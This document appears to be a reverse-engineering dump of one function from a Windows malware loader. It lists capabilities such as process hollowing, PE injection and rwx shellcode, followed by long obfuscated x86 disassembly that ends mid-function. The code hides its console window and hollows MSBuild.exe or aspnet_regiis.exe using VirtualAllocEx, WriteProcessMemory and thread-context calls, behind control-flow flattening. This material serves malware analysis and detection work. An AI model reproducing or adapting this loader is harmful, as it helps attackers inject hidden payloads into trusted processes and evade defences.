Function at 0x1000abd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a8
mov eax, dword [0x10085080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1b0], 0xdba83296
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1b4], eax
sub eax, 0x801cb0da
je 0x1000c67f
jmp 0x1000ac0c
mov eax, dword [ebp - 0x1b4]
sub eax, 0x852a2c3f
je 0x1000c745
jmp 0x1000ac22
mov eax, dword [ebp - 0x1b4]
sub eax, 0x855a992c
je 0x1000da3d
jmp 0x1000ac38
mov eax, dword [ebp - 0x1b4]
sub eax, 0x85905726
je 0x1000d18e
jmp 0x1000ac4e
mov eax, dword [ebp - 0x1b4]
sub eax, 0x880cb58d
je 0x1000bb86
jmp 0x1000ac64
mov eax, dword [ebp - 0x1b4]
sub eax, 0x89e845b8
je 0x1000dc6c
jmp 0x1000ac7a
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8b8029a6
je 0x1000c25b
jmp 0x1000ac90
mov eax, dword [ebp - 0x1b4]
sub eax, 0x8d887a17
je 0x1000cde5
jmp 0x1000aca6
mov eax, dword [ebp - 0x1b4]
sub eax, 0x926bc073
je 0x1000d41d
jmp 0x1000acbc
mov eax, dword [ebp - 0x1b4]
sub eax, 0x97fb105c
je 0x1000ba41
jmp 0x1000acd2
mov eax, dword [ebp - 0x1b4]
sub eax, 0x9c5ca10f
je 0x1000bbd7
jmp 0x1000ace8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa023fcf2
je 0x1000d83e
jmp 0x1000acfe
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa676fd31
je 0x1000bd22
jmp 0x1000ad14
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa7f0df21
je 0x1000cb10
jmp 0x1000ad2a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa923492f
je 0x1000c49b
jmp 0x1000ad40
mov eax, dword [ebp - 0x1b4]
sub eax, 0xa9fe04a8
je 0x1000c324
jmp 0x1000ad56
mov eax, dword [ebp - 0x1b4]
sub eax, 0xab559328
je 0x1000d42c
jmp 0x1000ad6c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xabdd767e
je 0x1000c33d
jmp 0x1000ad82
mov eax, dword [ebp - 0x1b4]
sub eax, 0xaff1a5a0
je 0x1000bedb
jmp 0x1000ad98
mov eax, dword [ebp - 0x1b4]
sub eax, 0xaffc2465
je 0x1000bdde
jmp 0x1000adae
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb1996bea
je 0x1000bf2c
jmp 0x1000adc4
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb1da546c
je 0x1000dde0
jmp 0x1000adda
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb401361d
je 0x1000c59f
jmp 0x1000adf0
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb565b143
je 0x1000d1bc
jmp 0x1000ae06
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb5a75520
je 0x1000becc
jmp 0x1000ae1c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xb6aa8fd5
je 0x1000cf0a
jmp 0x1000ae32
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbbfe9c60
je 0x1000dd8a
jmp 0x1000ae48
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbc2d432a
je 0x1000cc31
jmp 0x1000ae5e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbcff8b10
je 0x1000bce1
jmp 0x1000ae74
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbd12d549
je 0x1000d2dd
jmp 0x1000ae8a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc1121a9d
je 0x1000ddce
jmp 0x1000aea0
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc2ce2dfe
je 0x1000d475
jmp 0x1000aeb6
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc34d44cb
je 0x1000cd4e
jmp 0x1000aecc
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc3da7e7e
je 0x1000dcb3
jmp 0x1000aee2
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc7460753
je 0x1000cc93
jmp 0x1000aef8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xc7bc85ec
je 0x1000ba0b
jmp 0x1000af0e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xca0a0955
je 0x1000d524
jmp 0x1000af24
mov eax, dword [ebp - 0x1b4]
sub eax, 0xcd4bd6ba
je 0x1000c797
jmp 0x1000af3a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xce3b46db
je 0x1000c100
jmp 0x1000af50
mov eax, dword [ebp - 0x1b4]
sub eax, 0xcf6b7c9a
je 0x1000bfa2
jmp 0x1000af66
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd0c280a5
je 0x1000bcc0
jmp 0x1000af7c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd0ee0087
je 0x1000b974
jmp 0x1000af92
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd42a8d60
je 0x1000cc68
jmp 0x1000afa8
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd5050af9
je 0x1000c7b8
jmp 0x1000afbe
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd5f2ac72
je 0x1000c8b9
jmp 0x1000afd4
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd7b10654
je 0x1000d633
jmp 0x1000afea
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd84c898c
je 0x1000c154
jmp 0x1000b000
mov eax, dword [ebp - 0x1b4]
sub eax, 0xd96f3b24
je 0x1000c031
jmp 0x1000b016
mov eax, dword [ebp - 0x1b4]
sub eax, 0xda536467
je 0x1000d1fb
jmp 0x1000b02c
mov eax, dword [ebp - 0x1b4]
sub eax, 0xdb151ea7
je 0x1000ba26
jmp 0x1000b042
mov eax, dword [ebp - 0x1b4]
sub eax, 0xdba83296
je 0x1000b845
jmp 0x1000b058
mov eax, dword [ebp - 0x1b4]
sub eax, 0xdf8a2f3c
je 0x1000d1cb
jmp 0x1000b06e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xe4530f28
je 0x1000c417
jmp 0x1000b084
mov eax, dword [ebp - 0x1b4]
sub eax, 0xe48292cf
je 0x1000c0f1
jmp 0x1000b09a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xe9edc7d6
je 0x1000ddef
jmp 0x1000b0b0
mov eax, dword [ebp - 0x1b4]
sub eax, 0xee3022cb
je 0x1000c82e
jmp 0x1000b0c6
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf1db8629
je 0x1000d102
jmp 0x1000b0dc
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf2b86ad7
je 0x1000d575
jmp 0x1000b0f2
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf3056fe6
je 0x1000d216
jmp 0x1000b108
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf35d5bd9
je 0x1000be2f
jmp 0x1000b11e
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf3e098f1
je 0x1000dd9f
jmp 0x1000b134
mov eax, dword [ebp - 0x1b4]
sub eax, 0xf5108e8d
je 0x1000d0b9
jmp 0x1000b14a
mov eax, dword [ebp - 0x1b4]
sub eax, 0xfd293dd7
je 0x1000d6a9
jmp 0x1000b160
mov eax, dword [ebp - 0x1b4]
sub eax, 0x403f54f
je 0x1000c93e
jmp 0x1000b176
mov eax, dword [ebp - 0x1b4]
sub eax, 0x5109b50
je 0x1000d5e9
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100080d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100080d0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x58000
call fcn.10008020
add esp, 8
lea eax, section..data
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x1b0], 0x7dc8e2a8
jmp 0x1000ddf9
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x125], al
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
add edx, 0x9f3d30d1
sub edx, 1
sub edx, 0x9f3d30d1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f55edc9
mov ecx, 0x7f53e983
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x1b0], 0xdb151ea7
jmp 0x1000ddf9
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x1b0], 0x97fb105c
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
add edx, 0x9c73ead
sub edx, 1
sub edx, 0x9c73ead
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5cde8d0a
mov ecx, 0x53bd6325
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0x8d5cc82f
sub edx, 1
add edx, 0x8d5cc82f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d259a97
mov ecx, 0x9c5ca10f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10018fc0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10018fc0
add esp, 0xc
mov eax, dword [ebp - 0x160]
add eax, 0x18
mov dword [ebp - 0x118], eax
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d259a97
mov ecx, 0x7b86d65f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0xd0]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x1b0], 0xbcff8b10
jmp 0x1000ddf9
mov eax, dword [ebp - 0x114]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x165], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x16c], eax
mov dl, byte [ebp - 0x165]
mov eax, 0xa676fd31
mov ecx, 0x5c077d55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x1b0], 0x678d5fe1
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0x4f8d86f4
sub edx, 1
add edx, 0x4f8d86f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c8c7505
mov ecx, 0xf35d5bd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x109], al
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
add edx, 0x67f5e78e
sub edx, 1
sub edx, 0x67f5e78e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c8c7505
mov ecx, 0xb5a75520
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xaff1a5a0
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0xe12668d9
sub edx, 1
add edx, 0xe12668d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7275b94a
mov ecx, 0xb1996bea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
sub edx, 0xaeca69d
sub edx, 1
add edx, 0xaeca69d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7275b94a
mov ecx, 0xcf6b7c9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dl, byte [ebp - 0x109]
mov eax, 0x3c375f8b
mov ecx, 0x1eb03d63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.1000a710
add esp, 4
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x160]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x104], eax
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
sub edx, 0xb495cac1
sub edx, 1
add edx, 0xb495cac1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x758aa772
mov ecx, 0xe48292cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xce3b46db
jmp 0x1000ddf9
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x108]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x27a36e3a
mov ecx, 0xd84c898c
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1b0], 0x7330f53f
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0x27a36e3a
jmp 0x1000ddf9
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1b0], 0xabdd767e
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x503bec44
mov ecx, 0x31c0088a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xe83bc87
jmp 0x1000ddf9
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
sub ecx, 0x8032ac37
add ecx, eax
add ecx, 0x8032ac37
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x19c]
imul esi, dword [ebp - 0x1ac], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0x30b1c0c0
add edx, eax
add edx, 0x30b1c0c0
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x19c]
imul edx, dword [ebp - 0x1ac], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1000ab10
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov edx, dword [ebp - 0x1a8]
mov esi, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x1ac], 0x28
add esi, eax
mov eax, 0x5a4143ac
mov ecx, 0x1190730e
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc45ea4
mov ecx, 0x459fe962
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dl, byte [ebp - 0xe1]
mov eax, 0x5a4143ac
mov ecx, 0x5a1a9f38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x1ac]
add eax, 0x24f0e115
add eax, 1
sub eax, 0x24f0e115
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1b0], 0x5f000055
jmp 0x1000ddf9
mov edx, dword [ebp - 0xd0]
mov eax, 0x5a9bf2e6
mov ecx, 0xd5050af9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
sub edx, 0x41460bf4
sub edx, 1
add edx, 0x41460bf4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e3c9e27
mov ecx, 0xee3022cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
sub edx, 0x73c8a38
sub edx, 1
add edx, 0x73c8a38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3e3c9e27
mov ecx, 0xd5f2ac72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0x901f340
jmp 0x1000ddf9
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xcc]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xc1], al
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10f03bb4
mov ecx, 0x5d646519
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x89e845b8
mov ecx, 0x394421c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xb8]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [eax], 0
mov dword [ebp - 0x1b0], 0xd42a8d60
jmp 0x1000ddf9
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1b0], 0xc7460753
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0xc35a249e
sub edx, 1
add edx, 0xc35a249e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3da7e7e
mov ecx, 0x47f4a8ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dl, byte [ebp - 0xa5]
mov eax, 0xdf8a2f3c
mov ecx, 0x35cb1e9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xf84d6e53
or eax, edx
or ecx, 0xf84d6e53
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x485a237d
mov ecx, 0x5c39c52b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x9c]
movzx ecx, word [eax]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0xa0]
add ecx, 0x8c596fe9
add ecx, eax
sub ecx, 0x8c596fe9
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xf5108e8d
mov ecx, 0x26c306a2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5aa13c95
mov ecx, 0xf1db8629
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5aa13c95
mov ecx, 0x6c72c329
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov dword [ebp - 0x1b0], 0xb565b143
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xd42a8d60
jmp 0x1000ddf9
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a4]
